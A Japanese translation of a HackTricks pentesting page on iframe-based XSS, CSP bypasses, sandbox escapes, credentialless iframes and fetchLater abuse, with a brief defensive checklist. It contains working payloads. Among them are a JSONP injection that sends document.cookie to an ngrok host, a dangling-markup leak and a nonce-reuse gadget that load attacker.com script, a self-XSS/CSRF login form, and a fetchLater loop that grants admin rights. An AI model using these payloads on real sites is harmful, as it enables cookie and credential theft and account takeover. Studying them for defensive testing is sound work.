iframe と XSS、CSP、SOP

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

iframe と XSS

iframe に読み込まれるページの内容を示す方法は3つあります:

  • src を使って URL を指定する(URL は cross origin または same origin の可能性があります)
  • src を使って data: プロトコルで内容を指定する
  • srcdoc を使って内容を指定する

親と子の変数にアクセスする

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

もし前の html を http サーバー(例: python3 -m http.server)経由でアクセスすると(CSP がないため)すべてのスクリプトが実行されることに気づきます。, 親ウィンドウはどの iframe 内の secret 変数にもアクセスできませんし、元のウィンドウの secret にアクセスできるのは same-site と見なされる iframes の if2 & if3 のみです
if4 が null origin と見なされている点に注意してください。

srcdoc が実際のエクスプロイトで問題になる挙動

srcdoc に関してエクスプロイト時に見落としやすい点が二つあります:

  • フレームが allow-same-origin を付与しない sandbox 属性で制限されている場合を除き、srcdoc ドキュメントは 親と same-origin になります。したがって、srcdoc に攻撃者制御の HTML を注入することは通常、トップドキュメントへの直接的な DOM アクセスを与えるのと同等です。
  • ドキュメント URL が about:srcdoc であっても、相対 URL は埋め込みページの URL を base URL として解決されます。つまり <script src="/upload/payload.js"></script><img src="/internal/debug"> のようなペイロードは about:srcdoc ではなく親オリジンをターゲットにします。

Practical payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

これは、マークアップのみを制御でき、同一オリジンのパスが厳格な CSP を伴わずに攻撃者制御の JavaScript、JSONP、または HTML を返すことが分かっている場合に特に有用です。

CSP を持つ Iframes

Tip

以下のバイパス例では、iframe 内のページに JS の実行を防ぐ CSP ヘッダが含まれていない点に注意してください。

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

前のCSPはインラインスクリプトの実行のみを許可している点に注意してください
ただし、if1if2 のスクリプトのみが実行されるが、親の secret にアクセスできるのは if1 のみである

したがって、サーバーに JS ファイルをアップロードして iframe 経由で読み込める場合、script-src 'none' が設定されていても CSP をバイパスすることが可能です。また、同一サイトの JSONP エンドポイントを悪用して同様のことが行える可能性もあります。

以下のシナリオで、script-src 'none' が設定されていても cookie が盗まれることを確認できます。アプリケーションを起動し、ブラウザでアクセスしてください:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

新(2023-2025)CSP bypass techniques with iframes

研究コミュニティは、iframes を悪用して制限的なポリシーを回避する創造的な手法を引き続き発見しています。以下はここ数年に公開された最も注目すべき手法です:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – アプリケーションが HTML を反映する一方で強力な CSP によってスクリプト実行がブロックされる場合でも、dangling <iframe name> 属性を注入することで sensitive tokens を leak できます。部分的なマークアップがパースされると、別オリジンで動作する攻撃者スクリプトがフレームを about:blank にナビゲートし、window.name を読み取ります。これには次の引用符までの全て(例えば CSRF token)が含まれます。被害者コンテキストで JavaScript が実行されないため、通常この攻撃は script-src 'none' を回避します。最小の PoC は次の通りです:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces は same-origin ドキュメントから DOM 経由で読み取れます。攻撃者が same-origin の HTML ページを注入またはアップロードして iframe に読み込める場合、子フレームは top.document.querySelector('[nonce]').nonce を読み取り、新しい <script nonce> 要素を生成できます。これにより、same-origin の HTML injection が strict-dynamic 下でも完全なスクリプト実行にエスカレートします(nonce が既に信頼されているため)。次のガジェットはマークアップ注入を XSS にエスカレートします:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024)form-action ディレクティブを省略しているページでは、注入された iframe やインライン HTML からログインフォームを re-target して、パスワードマネージャが自動入力・送信した資格情報を外部ドメインへ送らせることが可能です。これは script-src 'none' が存在する場合でも成立します。default-src と併せて必ず form-action を指定してください!

防御メモ(簡易チェックリスト)

  1. secondary contexts(form-actionframe-srcchild-srcobject-src 等)を制御する全ての CSP ディレクティブを常に送信する。
  2. nonces が秘密であることに頼らない — strict-dynamic を使用し、かつ注入ポイントを排除する。
  3. 信頼できないドキュメントを埋め込む必要がある場合は sandbox="allow-scripts allow-same-origin" を非常に慎重に使う(スクリプト実行の分離だけが必要なら allow-same-origin を付けない)。
  4. defense-in-depth として COOP+COEP の導入を検討する。新しい <iframe credentialless> 属性(下記参照)は、サードパーティの埋め込みを壊さずにこれを可能にする。

ワイルドで見つかったその他のPayloads

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe 内のコンテンツは sandbox 属性を使って追加の制限を受けることができます。デフォルトではこの属性は適用されておらず、制限は何も設けられていません。

When utilized, the sandbox attribute imposes several limitations:

  • コンテンツは独自のオリジンから来たかのように扱われます。
  • フォームの送信はすべてブロックされます。
  • スクリプトの実行が禁止されます。
  • 特定のAPIへのアクセスが無効化されます。
  • リンクが他のブラウジングコンテキストと相互作用することを防ぎます。
  • <embed>, <object>, <applet> などのタグを介したプラグインの使用が禁止されます。
  • コンテンツが自らトップレベルのブラウジングコンテキストをナビゲートすることを防ぎます。
  • 動画再生やフォームコントロールの自動フォーカスなど、自動的に起動する機能はブロックされます。

ヒント: モダンブラウザは allow-scriptsallow-same-originallow-top-navigation-by-user-activationallow-downloads-without-user-activation などの細かいフラグをサポートしています。埋め込みアプリケーションに必要な最小限の権限だけを与えるようにこれらを組み合わせてください。

sandbox 属性の値を空にしておく(sandbox="")と、上記のすべての制限が適用されます。あるいは、スペースで区切った特定の値のリストを設定して、iframe を特定の制限から除外することもできます。

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

埋め込まれたページが same-origin で、かつ allow-scriptsallow-same-origin の両方を付与すると、sandbox は非常に弱い境界になります。子フレームは JavaScript を実行し、top.document にアクセスし、自身の <iframe> 要素から sandbox 属性を削除することさえできます:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

実務上、 sandbox="allow-scripts allow-same-origin" は、攻撃者に影響された同一オリジンのコンテンツに対して安全ではないものとして扱うべきです。サードパーティの埋め込みにはまだ有用ですが、敵対的な同一オリジンのHTMLからの隔離境界にはなりません。

Credentialless iframes

前述のこの記事で説明されているように、iframe の credentialless フラグは、リクエストに認証情報を送信せずに iframe 内でページを読み込みつつ、iframe 内の読み込まれたページの same origin policy (SOP) を維持するために使われます。

Chrome 110 (February 2023) で既定で有効になっています。仕様は anonymous iframe という名前でブラウザ間で標準化が進められています。MDN はこれを「サードパーティの iframes をまったく新しい、一時的なストレージパーティションに読み込む仕組みで、cookie、localStorage や IndexedDB が実際のオリジンと共有されないようにする」と説明しています。攻撃者と防御者にとっての影響:

  • 異なる credentialless iframes 内のスクリプトは 依然として同じトップレベルのオリジンを共有し、DOM 経由で自由に相互作用できるため、multi-iframe self-XSS 攻撃が可能になります(PoC は下記参照)。
  • ネットワークが credential-stripped のため、iframe 内の任意のリクエストは実質的に認証されていないセッションとして振る舞います — CSRF 保護されたエンドポイントは通常失敗しますが、DOM 経由で leak 可能な公開ページは依然として対象になります。
  • ストレージは トップレベル文書の nonce によってパーティション化されます: 同じページ上の credentialless フレームは互いにストレージを共有できますが、トップレベルの文書が破棄されるとクリアされます。
  • credentialless iframe から生成されたポップアップには暗黙の rel="noopener" が付与され、一部の OAuth フローが動作しなくなることがあります。
  • ブラウザは credentialless iframe 内で autofill/password managers を無効化する と予想されており、このコンテキストでの autofill を介した資格情報窃取が制限されます。
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • エクスプロイトの例: Self-XSS + CSRF

この攻撃では、攻撃者は2つのiframeを含む悪意のあるウェブページを準備します:

  • 被害者のページをcredentiallessフラグ付きで読み込み、XSSを引き起こすCSRFを含むiframe(ユーザー名にSelf-XSSがあると想像してください):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • もう1つのiframeは実際にユーザーがログインした状態を読み込む(credentiallessフラグなし)。

すると、XSSから同じSOPを持つため他のiframeにアクセスでき、例えばcookieを盗むことが可能で、以下を実行します:

alert(window.top[1].document.cookie);

fetchLater 攻撃

As indicated in this article the API fetchLater allows configuring a request to be executed later. これは例えば、攻撃者のセッション内で被害者をログインさせ(Self-XSS を使って)、fetchLater リクエストをスケジュールし(たとえば現在のユーザーのパスワードを変更するため)、攻撃者のセッションからログアウトさせる、といった悪用が可能です。すると、被害者が自分のセッションにログインしたとき、遅延実行されたリクエストは送信時に利用可能なクッキーを使って実行され、被害者のパスワードを攻撃者が設定したものに変更できます。

運用上の注意:

  • fetchLater entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it.
  • The response is not available to JavaScript; body/headers are ignored once the deferred request is sent.
  • CSP enforcement uses connect-src (not script-src) for deferred requests.
  • Requests fire on page unload or when activateAfter expires (whichever happens first).
  • The maximum single delay is currently 299000 ms, so long waits require re-scheduling several deferred requests.

このように、被害者の URL が iframe に読み込めない場合(CSP や他の制限のため)でも、攻撃者は被害者のセッションでリクエストを実行できます。

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

SOP における Iframes

次のページを確認してください:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

参考資料

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート